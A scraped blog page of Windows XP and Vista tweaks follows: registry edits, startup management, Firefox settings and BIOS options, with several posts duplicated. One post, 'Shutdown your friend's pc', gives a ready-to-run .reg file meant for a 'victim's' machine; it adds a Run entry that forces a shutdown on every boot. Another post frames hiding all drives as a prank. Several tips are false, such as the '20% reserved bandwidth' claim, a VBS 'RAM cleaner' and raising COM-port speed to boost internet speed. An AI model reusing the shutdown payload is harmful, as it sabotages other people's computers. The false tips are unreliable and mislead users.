Ticks&tricks

Increasing Band-Width By 20% by Naani | 3:53 AM in Internet, Performance Tweaks | comments (0) Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etc To get it back: Click Start then Run and type "gpedit.msc" without quotes.This opens the group policy editor. Then go to:Local Computer Policy then Computer Configuration then Administrative Templates then Network then QOS Packet Scheduler and then to Limit Reservable Bandwidth. Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab i.e."By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."So the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20%.It works on Win 2000 as well.

Improving the Slow Boot up time by Naani | 3:31 AM in Performance Tweaks, Windows | comments (0) There are a variety of reasons why your windows XP system would boot slowly. Most of the times it this has to do with the startup applications. If you would like to speed up the bootup sequence, consider removing some of the startup applications that you do not need. Easiest way to remove startup apps is through System Configuration Utility. Go to Start then Run and enter MSCONFIG and go to the Startup tab. Deselect/UnCheck application(s) that you do not want to startup at boot time

Disable the Disk performance counter(s) by Naani | 3:27 AM in Hard Disk Tweaks, Performance Tweaks, Windows | comments (0) Windows XP contains a built in performance monitor that is constantly examining various areas of your system. This information can be called up using the performance monitor application found in control panel\administrative tools. Of course, most of us have little interest in this sort of performance statistics monitoring, that being more the territory of systems administrators than individual users. The thing is, XP is still monitoring away, and some of its observation tools can use a considerable amount of resources. The disk monitoring is an example of this, and it's a good idea to turn the disk monitors off if you are not planning to use the performance monitor application.

To do this: Go to the command prompt ('start\run' then type 'cmd') and type 'diskperf -N' Alternate Method Win XP comes with many inbuilt performance monitoring applications that constantly examine various parts of the system. This information can be of real use to a system administrator for collecting performance statistics. However, for a home user, these statistics hold no value and since the monitoring happens all the time, it consumes a good deal of system resources. “Disk monitoring”, for example, happens in the background, and turning it off is advisable if you will not be using the performance monitoring applications. To turn it off, type in “diskperf -N” at a command prompt. To bring up the command prompt: go to Start>Run, type in “cmd” and press [Enter].

Removing Multiple Boot Screens: by Naani | 3:26 AM in Performance Tweaks, Windows | comments (0) If you are getting unwanted multiple boot screen Then Follow these Steps. 1> Right Click on My Computer 2>Select Properties 3>Select Advanced Tab 4>Select Settings In the Startup & Recovery Section(3rd grp) 5>Select the operating system which u want. 6>And Click OK. 7>Further again press the setting and click on Edit. 8>It will open boot.ini File. 9>Now u can delete those o/s which you don't want to be displayed. Note: For deleting operating systems from boot.ini file, keep it mind that you can'tdelete that o/s which is selected by default there. Beforemaking any changes make a copy of boot.ini file.

EXTREMELY FAST BOOTUP by Naani | 3:24 AM in Performance Tweaks, Windows | comments (0) The trick is Enabling Hibernation: Go to diplay properties>screen savers>power>hibernate. Check 'Enable Hibernation'. Press shift button after you click 'Turn Off Computer' in start menu.

Disabling Unnecessary Programs At Startup:

by Naani | 3:22 AM in Performance Tweaks, Registry Tweaks, Windows | comments (0) Many programs add portions of themselves starting automatically on every login.This can be either in the Startup Folder or the Registry. One easy way to tell is by looking at how many icons are in your system tray. If you have a large number, perhaps unnecessary resources are being allocated them as well as increasing your boot time. Typical examples are Microsoft Office, Office FindFast, Real Player, ATI http://www.orkut.com/archive/video">Video setting etc. You can remove them in one of three main ways: In the Start / Programs / Startup Folder In the Registry under HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run

Automatically run programs when starting Windows by Naani | 3:21 AM in Performance Tweaks, Windows | comments (0) If there are applications or commands that you run every single time you start your computer (Email comes to mind) you may want to consider setting things up so that these programs run automatically during the Windows XP startup. This can be done quite easily in XP by creating shortcuts and shuffling them around. Here's how: Windows XP has a startup folder located at 'C:\ Documents and Settings\ (your user name)\ Start Menu\ Programs\Startup.' Shortcuts placed into this folder will be run automatically when Windows XP starts up. If you already have shortcuts for the programs you desire to use, copy and paste them into the startup folder. Otherwise, go to 'start\programs,' select the program you would like to create a shortcut for, right click it and select 'send to' then 'desktop.' This will create a shortcut on the desktop that you can then use.

Automatically close non-responsive programs by Naani | 3:20 AM in Performance Tweaks, Registry Tweaks, Windows | comments (0) With a small registry tweak, Windows XP can be set to automatically close any program that 'stops responding' (crashes), eliminating the need for you to use the task manager to close down the offending software manually. To do this: Open REGEDIT and navigate to HKEY_CURRENT_USER\Control Panel\ Desktop Modify the REG_SZ entry AutoEndTasks with a value of 1

Speed up your PC by Naani | 4:56 AM in Performance Tweaks, Windows | comments (0) Clean Ur RAM U may recognize that ur system gets slower and slower when playing and working a lot with ur pc. That's cause ur RAM is full of remaining progress pieces u do not need any more. So create a new text file on ur desktop and call it .. uhm.. "RAMcleaner" or something... Type FreeMem=Space(64000000) in this file and save it as RAMcleaner.vbs [ You may choose the "All Files" option when u save it ] Run the file and ur RAM may be cleaned :) Of course u can edit the code in the file for a greater "cleaning-progress". FreeMem=Space(128000000) just try it out.. it worked for me

Increase your netspeed by Naani | 4:55 AM in Internet, Performance Tweaks | comments (0) go to desktop->My computer-(right click on)->manage-> ->Device manager-> now u see a window of Device manager then go to Ports->Communication Port(double click on it and Open). after open u can see a Communication Port properties. go the Port Setting:----and now increase ur "Bits per second" to 128000. and "Flow control" change 2 Hardware. U WILL NOTICE AN IMMEDIATE RESULT this will increase the receiving capacity of your input port and thus ur netspeed will be increased. :)

How to fix corrupted windows files in XP

by Naani | 7:24 PM in Performance Tweaks, Windows | comments (0) This tutorial has been made so people that are having problems with corrupted files, can learn how to fix them easy. Requirement: 1. Windows XP CD Now, follow this steps: 1. Place the xp cd in your cd/dvd drive 2. Go to start 3. run 4. type "sfc /scannow" (without ") Now sit back and relax, it should all load and fix all your corrupted file on win XP.

Speed up your Firefox by Naani | 7:18 PM in Browsers, Internet, Mozilla Firefox, Performance Tweaks | comments (0) Speed up your firefox browser and load pages 2-3 times faster than previous, its tested 1. Type "about:config" into the address bar and hit return. Scroll down and look for the following entries: network.http.pipelining network.http.proxy.pipelining network.http.pipelining.maxrequests Normally the browser will make one request to a web page at a time. When you enable pipelining it will make several at once, which really speeds up page loading. 2. Alter the entries as follows: Set "network.http.pipelining" to "true" Set "network.http.proxy.pipelining" to "true" Set "network.http.pipelining.maxrequests" to some number like 30. This means it will make 30 requests at once. 3. Lastly right-click anywhere and select New-> Integer. Name it "nglayout.initialpaint.delay" and set its value to "0". This value is the amount of time the browser waits before it acts on information it recieves.

If you're using a broadband connection you'll load pages 2-3 times faster now. mozilla net speed increases.... cheers

Windows XP System Hangs Response by Naani | 7:14 PM in Performance Tweaks, Windows | comments (0) Have you ever been using your computer and your system suddenly stops responding in ways like it if you try to open something it just hangs? One time I tried deleting a folder and it said it was in use, but it really wasn't. If this ever happens to you, you can follow these simple steps to 'reboot' your computer without 'rebooting' it. Press CRTL + ALT + DEL Goto the 'processes' tab and click explorer.exe once and then click 'end process'. Now, click File > New Task and type explorer.exe Everything should be fine now! If the problem is major, I would recommend actually shutting down then starting up again.

Optimize Windows Vista for better performance by Naani | 11:32 PM in Performance Tweaks, USB Tricks, Windows, Windows Vista | comments (0) No matter how fast or shiny computers might be when they are new, they all seem to get slower over time. That state-of-the-art PC you bought last year might not feel like such a screamer after you install a dozen programs, load it with antispyware and antivirus tools, and download untold amounts of junk from the Internet. The slowdown might happen so gradually you hardly notice it, until one day you’re trying to open a program or file and wonder, "What happened to my poor PC?" Whatever the cause, there are a lot of ways to help speed up Windows and make your PC work better—even without upgrading your hardware. Here are some tips to help you optimize Windows Vista for faster performance. Delete programs you never use Many PC manufacturers pack their new computers with programs you didn’t order and might not want. These often include trial editions and limited edition versions of programs that software companies hope you will try, find useful, and then pay to upgrade

to full versions or newer versions. If you decide you don’t want them, keeping the software on your computer might slow it down by using precious memory, disk space, and processing power. It’s a good idea to uninstall all the programs you don’t plan to use. This should include both manufacturer-installed software and software you installed yourself but don’t want anymore—especially utility programs designed to help manage and tune your computer’s hardware and software. Utility programs such as virus scanners, disk cleaners, and backup tools often run automatically at startup, quietly chugging along in the background where you can’t see them. Many people have no idea they are even running. Even if your PC is older, it might contain manufacturer-installed programs that you never noticed or have since forgotten about. It’s never too late to remove these and get rid of the clutter and wasted system resources. Maybe you thought you might use the software someday, but never did. Uninstall it and see if your PC runs faster. Limit how many programs load at startup Many programs are designed to load automatically when Windows starts. Software manufacturers often set their programs to open in the background, where you can’t see them running, so they’ll open right away when you click their icons. That's helpful for programs you use a lot, but for programs you rarely or never use, this wastes precious memory and slows down the time it takes Windows to finish loading. Decide for yourself if you want a program to load at startup. But how can you tell what programs load automatically at startup? Sometimes this is obvious, because the program will add an icon to the notification area on the taskbar, where you can see it running. Look there and see if there are any programs running that you don’t want to load automatically. Position your mouse over each icon to see the program name. Be sure to click the Show hidden icons button so you don’t miss any icons.

The Show hidden icons button in the notification area Even after you check the notification area, you might still have missed some programs that load automatically at startup. You can find and disable them using Windows Defender.

The Software Explorer screen in Windows Defender shows which programs automatically start when you launch Windows If you’re unsure about whether a program should open automatically at startup, you can try disabling it, restarting your computer, and then using the program. If that causes any problems with the program, you can go back and re-enable it to start automatically. Note:Some people prefer to manage which programs load at startup using the System Configuration tool. Defragment your hard drive Fragmentation makes your hard disk do extra work that can slow down your computer. Disk Defragmenter rearranges fragmented data so your hard disk can work more efficiently. Disk Defragmenter runs on a schedule, but you can also defragment your hard disk manually. Clean up your hard disk If you want to reduce the number of unnecessary files on your hard disk to free up disk space and help your computer run faster, use Disk Cleanup. It removes temporary files, empties the Recycle Bin, and removes a variety of system files and other items that you no longer need. Run fewer programs at the same time Sometimes changing your computing behavior can have a big impact on your PC's performance. If you’re the type of computer user who likes to keep eight programs and a dozen browser windows open at once—all while instant messaging your friends—don’t be surprised if your PC bogs down. Keeping a lot of e-mail messages open can also use up memory. If you find your PC slowing down, ask yourself if you really need to keep all your programs and windows open at once. Find a better way to remind yourself to reply to e-mail messages than to keep all of them open. Turn off visual effects If Windows is running slowly, you can speed it up by disabling some of its visual effects. It comes down to appearance versus performance. Would you rather have Windows run faster or look prettier? If your PC is fast enough, you don’t have to make this tradeoff, but if your computer is just barely powerful enough for Windows Vista, it can be useful to scale back on the visual bells and whistles. You can choose which visual effects to turn off, one by one, or you can let Windows choose a bunch for you. There are 20 visual effects you can control, such as the transparent glass look, the way menus open or close, and whether shadows are displayed.

The Performance Options dialog box lets you turn on or off up to 20 visual effects To adjust all visual effects for best performance: 1. Open Performance Information and Tools by clicking the Start button , clicking Control Panel, clicking System and Maintenance, and then clicking Performance Information and Tools. 2. Click Adjust visual effects. If you are prompted for an administrator password or confirmation, type the password or provide confirmation. 3. Click the Visual Effects tab, click Adjust for best performance, and then click OK. (For a less drastic option, select Let Windows choose what’s best for my computer.) Restart regularly This tip is simple. Restart your PC at least once a week, especially if you use it a lot. Restarting a PC is a good way to clear out its memory and ensure that any errant processes and services that started running get shut down. Restarting closes all the software running on your PC. Not only the programs you see running on the taskbar, but also dozens of services that might have been started by various programs and never stopped. Restarting can fix mysterious performance problems where the exact cause is hard to pinpoint. If you keep so many programs, e-mail messages, and websites open that you think restarting is a hassle, that’s probably a sign you should restart your PC. The more things you have open and the longer you keep them running, the greater the chances your PC will bog down and eventually run low on memory. Add more memory This isn’t a guide to buying hardware that will speed up your computer. But no discussion of how make Windows run faster would be complete without mentioning that you should consider adding more memory to your PC.

If a computer running Windows Vista feels too slow, it’s usually because the PC doesn’t have enough memory. The most sure–fire way to speed it up is to add more. Windows Vista can run on a PC with 512 megabytes (MB) of random access memory (RAM), but it runs better with 1 gigabyte (GB). For optimal performance, boost that to 2 GB or more. If you're going to the trouble of opening up your PC case to add more memory, you might as well boost the total to at least 2 GB. Especially if you're the sort of person who keeps a dozen e-mail messages, ten browser windows, and six other programs open at once—all while instant messaging. Another option is to boost the amount of memory by using Windows ReadyBoost. This feature allows you to use the storage space on some removable media devices, such as USB flash drives, to speed up your computer. It’s easier to plug a flash drive into a USB port than to open your PC case and plug memory modules into its motherboard. Check for viruses and spyware If your PC is running slowly, one dreaded possibility is that it might be infected with a virus or spyware. This is not as common as the other problems, but it is something to consider. Before you worry too much, check your PC using antispyware and antivirus programs. A common symptom of a virus is a much slower-than-normal computer performance. Other signs include unexpected messages that pop up on your PC, programs that start automatically, or the sound of your hard disk constantly working. Spyware is a type of program that is installed, usually without your knowledge, to watch your activity on the Internet. You can check for spyware with Windows Defender or other anti-spyware programs. The best way to deal with viruses is to prevent them in the first place. Always run antivirus software and keep it up to date. Even if you take such precautions, however, it’s possible for your PC to become infected. Check your computer’s speed If you try these tips and your computer is still too slow, you might need a new PC or some hardware upgrades, such as a new hard disk, faster video card, or more memory. There’s no need to guess the speed of your computer, however. Windows provides a way to check and rate your PC’s speed with a tool called the Windows Experience Index. The Windows Experience Index rates your computer on five key components and gives you a number for each, as well as an overall base score. This base score is only as good as your worst-performing component sub-score. Base scores currently range from 1 to 5.9. (There is no score yet of 6.0 or higher, although Microsoft plans to raise the ratings in the future as hardware improves.) If your PC is rated lower than 2 or 3, it might be time to consider a new PC, depending on what tasks you want to do with your computer. Disable services you don’t need This is the most technically advanced of all these tips. If you don’t want to mess with anything too advanced or complicated, you can skip this one.

Windows has more than 100 services running quietly in the background with names such as Network Access Protection Agent and Shell Hardware Detection. These typically launch when your computer is started and they run until your computer is shut down. Some secure Microsoft services cannot be disabled, but most others can be. Many software companies also install their own services, some of which you can disable to conserve memory and processor power. You should not turn off a service unless you understand what it does and are confident you don’t need it. Explaining what the many services in Windows do is beyond the scope of this article, but there is plenty of information about this on various websites. Don’t settle for slow Don’t assume you have to sit there and tap your fingers while you wait for programs to open and tasks to complete. With these tips, you just might be able to turn your tortoise into a hare—or at least a faster tortoise.

Memory Performance Tweak by Naani | 11:14 PM in Performance Tweaks, Registry Tweaks, Windows | comments (0) Operating systems: Windows XP Pro, Windows XP Home These Settings will fine tune your systems memory management -at least 256MB of RAM recommended go to start run regedit -and then to the following key Code: HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session Manager/Memory Management 1.DisablePagingExecutive -double click it and in the decimal put a 1 - this allows XP to keep data in memory now instead of paging sections of ram to harddrive yeilds faster performance. 2.LargeSystemCache- double click it and change the decimal to 1 -this allows XP Kernal to Run in memory improves system performance alot 3.create a new dword and name it IOPageLockLimit - double click it and set the value in hex - 4000, if you have 128MB of ram, or set it to 10000 if you have 256MB,.... or it to 40000 if you have more than 512MB of ram -this tweak will speed up your disckcache Reboot and watch your system fly. Enable or disable boot defrag Filed under: operating systems windows xp Pro, windows xp Home

A great new feature in m*cro$oft Windows XP is the ability to do a boot defragment. This places all boot files next to each other on the disk to allow for faster booting. By default this option in enables but on some builds it is not so below is how to turn it on. Start Regedit. Navigate to Code: HKEY_LOCAL_MACHINE/SOFTWARE/microsoft/Dfrg/BootOptimizeFunction Select Enable from the list on the right.Right on it and select Modify.Change the value to Y to enable and N to disable. Reboot your computer. Launch apps with desired priority setting Filed under: operating systems windows xp Pro, windows xp Home This tweak will launch most executables with the priority setting you want it to have. Let’s say you have a game installed called HIGH NEEDS and the executable is called HN.exe Here’s what to do: -Create a new textfile in the game-app wathever-directory (let’s say C:HN), but instead of giving it the .txt extension you name it HN.bat -Right-click this file and choose ‘Edit’, you’ll see it’ll open notepad. Put this line in:cmd /c start /High NH.exe -Save (make sure you save it as .bat, not as .txt) and close. Now create a shortcut to this file and place it on your desktop. Every time you doubleclick this shortcut HIGH NEEDS will open with priority set to ‘high’. (ofcourse you can also create a batchfile on your desktop, containing the full path of the app you want to start but the nice thing of creating a shortcut is you can give it an icon). These are all the settings: Realtime, High, AboveNormal, Normal, BelowNormal, Low. *Realtime is not recommended unless you have a dual-CPU system!

SPEED UP YOUR ACROBAT READER (ALMOST LIKE NOTEPAD) by Naani | 11:12 PM in Performance Tweaks, Windows | comments (0)

1. Go to the installation folder of acrobat reader (C:\program files\adobe\acrobat\reader\.. whatever) 2. Move all the files and folders from the "plugins" directory to the "Optional" directory. (I repeat.. cut and paste the files NOT copy & paste). Also make sure that acrobat reader is not open else it will lock the files and not allow you to move the files). Now your acrobat reader will load very fast and almost as good as notepad !!

Make System Faster using BIOS by Naani | 11:07 PM in Performance Tweaks, Windows | comments (0) You can speed up your startup procedures by changing the BIOS with the built-in setup utility. How you run this utility varies from PC to PC, but you typically get to it by pressing the Delete, F1, or F10 keys during startup. You'll come to a menu with a variety of choices. Here are the choices to make for faster system startups: Quick Power On Self Test (POST) When you choose this option, your system runs an abbreviated POST rather than the normal, lengthy one. Boot Up Floppy Seek Disable this option. When it's enabled, your system spends a few extra secondslooking for your floppy drive relatively pointless procedure, especially consideringhow infrequently you use your floppy drive. Boot DelaySome systems let you delay booting after you turn on your PC so that your hard drivegets a chance to start spinning before bootup. Most likely, you don't need to have thisboot delay, so turn it off. If you run into problems, however, you can turn it back on

Speed increase for Cable Beam by Naani | 11:03 PM in Internet, Network, Performance Tweaks | comments (0)

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Speed Up Network Browsing by Naani | 10:57 PM in Internet, Network, Performance Tweaks, Registry Tweaks | comments (0) When you use My Network Places to browse for other machines on your network, it usually takes a long time to display the list of shared resources for the target machine. This is because Windows XP first checks for the scheduled tasks on the target machine before listing the shared resources present on the computer. To schedule a task using Windows XP’s Scheduled Tasks, choose Start –>Programs –> Accessories–> System Tools–> Scheduled Tasks. This unnecessary checking can easily add 30 seconds of delay. You can decrease the time browsing takes by modifying the Registry to turn off this checking: Invoke the Registry Editor by typing regedit at the command line or in run window. Open the Registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer \ Remote Computer\NameSpaceDelete the following key (the value for it is the Scheduled Tasks) {D6277990-4C6A-11CF-8D87-00AA0060F5BF}Close the Registry and reboot

Keeping the Windows XP Core in the RAM

by Naani | 10:54 PM in Performance Tweaks, Registry Tweaks, Windows | comments (0) If you have 512 MB or more of RAM, you can increase system performance by having the Windows XP 'Core' kept in the RAM instead of paged on the hard disk. Go to Start -> Run - Type regedit and press enter - On the left hand side tree, navigate to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ - On the list on the right side, look for an entry called 'DisablePagingExecutive' - Double click it - Press 1 on your keyboard - Click OK - Exit regedit and reboot the computer To revert to the default setting, follow the same steps as above, but this time, press 0(zero) instead of 1 on the keyboard.

Renaming The Recycle Bin icon: by Naani | 3:56 AM in Registry Tweaks, Windows | comments (0) To change the name of the Recycle Bin desktop icon, click Start then goto Run, write Regedit and press Enter. It opens Registry Editor. Now in Registry Editor go to: HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E} and change the name "Recycle Bin" to whatever you want (don't type any quotes).

Removing Shared Documents folder From My Computer by Naani | 3:55 AM in Registry Tweaks, Windows | comments (0) Open registry editor by going to Start then Run and entering regedit. Once in registry, navigate to key HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ My Computer \ NameSpace \ DelegateFolders You must see a sub-key named {59031a47-3f72-44a7-89c5-5595fe6b30ee}. If you delete this key, you have effectively removed the my shared documents folder.

Force windows XP to reboot upon crashing by Naani | 3:54 AM in Registry Tweaks, Windows | comments (0) This registry edit will cause your system to reboot itself automatically upon crashing. This can be useful if you have a reason for keeping your system on 24/7: Open REGEDIT Navigate to 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl' Edit the 'AutoReboot' value to '1'

Removing the Shortcut arrow from Desktop Icons by Naani | 3:32 AM in Registry Tweaks, Windows | comments (0) Goto Start then Run and Enter regedit. Navigate to HKEY_CLASSES_ROOTlnkfile. Delete the IsShortcut registry value. You may need to restart Windows XP.

Customize Internet Explorer's Title Bar (Revised) by Naani | 3:30 AM in Browsers, Internet Explorer, Registry Tweaks | comments (0) Open Registry by going to Start then Run and Enter regedit. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Internet. Explorer\Main. In right hand panel, right click and create new string value and name it as "Window Title" and inside that write whatever you want....

Removing the Recycle Bin from the Desktop by Naani | 3:29 AM in Registry Tweaks, Windows | comments (0) If you don't use the Recycle Bin to store deleted files , you can get rid of its desktop icon all together. In Run, type Regedit and go to: HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/explorer/ Desktop/NameSpace Delete the {645FF040-5081-101B-9F08-00AA002F954E} key in Namespace

Quit Registry Editor •To get back the Recycle Bin In Run, Type Regedit Goto: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer \Desktop\NameSpace Right-click the NameSpace point to New, and then click Key. Type {645FF040-5081-101B-9F08-00AA002F954E}, and then press ENTER. Click the new {645FF040-5081-101B-9F08-00AA002F954E} key that you created In the right pane, double-click the (Default) entry. In the Edit String dialog box, type Recycle Bin in the Value data box, and then click OK. Quit Registry Editor.

Adding Administrative Tools Icon To The Desktop: by Naani | 3:28 AM in Registry Tweaks, Windows | comments (0) Open Registry Editor. In Registry Editor, navigate to the following registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer \Desktop\NameSpace . Create the following key: {D20EA4E1-3957-11d2-A40B0C5020524153} (just copy/paste, including the brackets). Close Registry Editor. There is no need to reboot. Just wait a few seconds and see how the icon appears.

Modify Color Selection of Default Theme: by Naani | 3:26 AM in Registry Tweaks, Windows | comments (0) Open registry by going to Start then Run. Entering regedit, navigate to [HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\ThemeMana ger] and locate the key "ColorName". Right Click on it and select modify its value from "NormalColor" to "Metallic" Click Ok, and exit regedit and restart your computer.

Renaming The Start Button:

by Naani | 3:23 AM in Registry Tweaks, Windows | comments (0) To rename the start button, you will need a hex editor. My preference is UltraEdit Copy the \windows\explore.exe file to a new name (e.g. explorer_1.exe) With the hex editor, open that file and go to offset 412b6 You will see the word start with blanks between each letter Edit it be any 5 characters or less Save the file Boot to DOS Copy the existing c:\windows\explorer.exe to explorer.org Copy explorer_1.exe to explorer.exe You will also need to replace the explorer.exe in the c:\windows\system32\dllcache file as well with the new one. Note: If the partition is NTFS and you can't access the files from DOS: Start Regedit Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon. Change the value of Shell from Explorer.exe to explorer_1.exe

Disabling Unnecessary Programs At Startup: by Naani | 3:22 AM in Performance Tweaks, Registry Tweaks, Windows | comments (0) Many programs add portions of themselves starting automatically on every login.This can be either in the Startup Folder or the Registry. One easy way to tell is by looking at how many icons are in your system tray. If you have a large number, perhaps unnecessary resources are being allocated them as well as increasing your boot time. Typical examples are Microsoft Office, Office FindFast, Real Player, ATI http://www.orkut.com/archive/video">Video setting etc. You can remove them in one of three main ways: In the Start / Programs / Startup Folder In the Registry under HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run

Automatically close non-responsive programs by Naani | 3:20 AM in Performance Tweaks, Registry Tweaks, Windows | comments (0) With a small registry tweak, Windows XP can be set to automatically close any program that 'stops responding' (crashes), eliminating the need for you to use the task manager to

close down the offending software manually. To do this: Open REGEDIT and navigate to HKEY_CURRENT_USER\Control Panel\ Desktop Modify the REG_SZ entry AutoEndTasks with a value of 1

Shutdown your friend's pc by Naani | 3:17 AM in Registry Tweaks, Viruses and Antiviruses, Windows | comments (0) Shutdown ur friend's comp when everytime it starts Thats really easy. put this followin text in a .reg file and run it in the victims pc: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"VIR US"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ah\" -f" DONT PUT IT IN UR COMPUTER, I AM NOT RESPONSIBLE, if it happens, to you, start windows in safe mode, and open registry editor by typiing REGEDIT in start->run. navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] and remove the string value named VIRUS, restart you computer. You can also put this in a javascript code, just add this code to your webpage

How to Hide the drives(c:,d:,e:,a:...etc) in My Computer by Naani | 4:55 AM in Hard Disk Tweaks, Registry Tweaks, Windows | comments (0) This is a great trick you can play on your friends. To disable the display of local or networked drives when you click My Computer. 1. Go to start->run. 2. Type regedit. Now go to: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explo rer Now in the right pane create a new DWORD item and name it NoDrives(it is case sensitive). Now modify it's value and set it to 3FFFFFF (Hexadecimal). Now restart your

computer. So, now when you click on My Computer, no drives will be shown(all gone...). To enable display of drives in My Computer, simply delete this DWORD item that you created. Again restart your computer. You can now see all the drives again. Magic........lol....

Login with multiple ids at the same time in Yahoo! Messenger by Naani | 7:26 PM in Internet, Messenger, Registry Tweaks | comments (0) Multiple Login in Yahoo! by regedit Follow these steps : -> * Go to Start ==> Run ==>> Type regedit, hit enter * Go to HKEY_CURRENT_USER -> Software -> Yahoo -> pager -> Test * On the right pane ==>> right-click and choose new Dword value . * Rename it as Plural. * Double click and assign a decimal value of 1. * Now close registry and restart yahoo messenger. * For signing in with new id open another messenger . ☺ ☺ Enjoy ☺ ☺

Change your processor name by Naani | 7:25 PM in Registry Tweaks, Windows | comments (0) Trick - SHOW YOUR PC PENTIUM 5 OR MORE GO TO START>RUN>TYPE REGEDIT>HKEY_LOCAL_MACHINE>HARDWARE> DISCRIPTION>SYSTEM>CENTRALPROCESSOR>0 ON RIGHT HAND SIDE, RIGHT CLICK ON "PROCESSOR NAME STRING" AND CLICK ON MODIFY AND WRITE WHAT EVER YOU WANT

How to Change the Registered Owner and Organisation in XP by Naani | 6:53 PM in Registry Tweaks, Windows | comments (0) It is possible to change the name of the registered owner and registered organisation in Windows XP. For those who dont know how to see the owner and the organisation follow these steps to check. Right click on My computer, click properties. Under the general tab,there is a line 'Registered to' The first line has the name of the owner and the next line has the name of the organisation. To change these,follow the steps given below. 1. Click Start, Run and type regedit and press enter. Go to the following location in the registry: HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows NT CurrentVersion 2.To change the registered organization, double-click on RegisteredOrganization.Under Value data, type the name that you want, and then click OK. 3.To change the name of the registered owner, double-click RegisteredOwner. 4.Under Value data, type the name that you want, and then click OK. 5.Click Exit on the File menu to quit. You are done. You make check out the changes as described earlier.

Changing the DOS background colour by Naani | 11:30 PM in MS-DOS, Registry Tweaks, Windows | comments (0) The value DefaultColor controls the foreground and background colors used in command prompt windows. It has a default value of 0, for standard white text on a black background. CHANGING DOS BACKGROUND Open your registry (press win+r and type regedit, hit enter) goto [HKEY_CURRENT_USER\Software\Microsoft\Command Processor] u'll find "DefaultColor"

You can replace it's value with a two-digit hexadecimal number, in which the first digit selects a background color and the second a foreground color. The hexadecimal codes are: Hexadecimal value Color 0 Black 1 Blue 2 Green 3 Aqua 4 Red 5 Purple 6 Yellow 7 White 8 Gray 9 Light Blue A Light Green B Light Aqua C Light Red D Light Purple E Light Yellow F Bright White A value of F0, for example, would give black text on a white background, and 1E would yield yellow text on a blue background. The change should take effect the next time you open a console window.

Customize Windows Media Player Title Bar by Naani | 11:18 PM in Media Player Stuff, Registry Tweaks, Windows | comments (0) Customize Windows Media Player Title Bar Allows you to change the title bar to read Windows Media Player provided by , so if I had entered text of [The Elder Geek], it would read: Windows Media Player provided by The Elder Geek [Start] [Run] [Regedit] Registry Key: HKEY_CURRENT_USER\Software\Policies\Microsoft Create the Key [WindowsMediaPlayer]. Modify/Create the Value Name [TitleBar] according to the Value Data listed below. Data Type: REG_SZ [String Value] // Value Name: TitleBar Value Data: [Enter the text to be displayed in the title bar.] Note: Whatever text you enter as the value data will be preceded by: Windows Media Player provided by, so if I had entered text of [The Elder Geek], it would read:

Windows Media Player provided by The Elder Geek Exit Registry and Reboot Note: Not works in WMP11

Memory Performance Tweak by Naani | 11:14 PM in Performance Tweaks, Registry Tweaks, Windows | comments (0) Operating systems: Windows XP Pro, Windows XP Home These Settings will fine tune your systems memory management -at least 256MB of RAM recommended go to start run regedit -and then to the following key Code: HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session Manager/Memory Management 1.DisablePagingExecutive -double click it and in the decimal put a 1 - this allows XP to keep data in memory now instead of paging sections of ram to harddrive yeilds faster performance. 2.LargeSystemCache- double click it and change the decimal to 1 -this allows XP Kernal to Run in memory improves system performance alot 3.create a new dword and name it IOPageLockLimit - double click it and set the value in hex - 4000, if you have 128MB of ram, or set it to 10000 if you have 256MB,.... or it to 40000 if you have more than 512MB of ram -this tweak will speed up your disckcache Reboot and watch your system fly. Enable or disable boot defrag Filed under: operating systems windows xp Pro, windows xp Home A great new feature in m*cro$oft Windows XP is the ability to do a boot defragment. This places all boot files next to each other on the disk to allow for faster booting. By default this option in enables but on some builds it is not so below is how to turn it on. Start Regedit. Navigate to Code: HKEY_LOCAL_MACHINE/SOFTWARE/microsoft/Dfrg/BootOptimizeFunction Select Enable from the list on the right.Right on it and select Modify.Change the value to Y to enable and N to disable. Reboot your computer.

Launch apps with desired priority setting Filed under: operating systems windows xp Pro, windows xp Home This tweak will launch most executables with the priority setting you want it to have. Let’s say you have a game installed called HIGH NEEDS and the executable is called HN.exe Here’s what to do: -Create a new textfile in the game-app wathever-directory (let’s say C:HN), but instead of giving it the .txt extension you name it HN.bat -Right-click this file and choose ‘Edit’, you’ll see it’ll open notepad. Put this line in:cmd /c start /High NH.exe -Save (make sure you save it as .bat, not as .txt) and close. Now create a shortcut to this file and place it on your desktop. Every time you doubleclick this shortcut HIGH NEEDS will open with priority set to ‘high’. (ofcourse you can also create a batchfile on your desktop, containing the full path of the app you want to start but the nice thing of creating a shortcut is you can give it an icon). These are all the settings: Realtime, High, AboveNormal, Normal, BelowNormal, Low. *Realtime is not recommended unless you have a dual-CPU system!

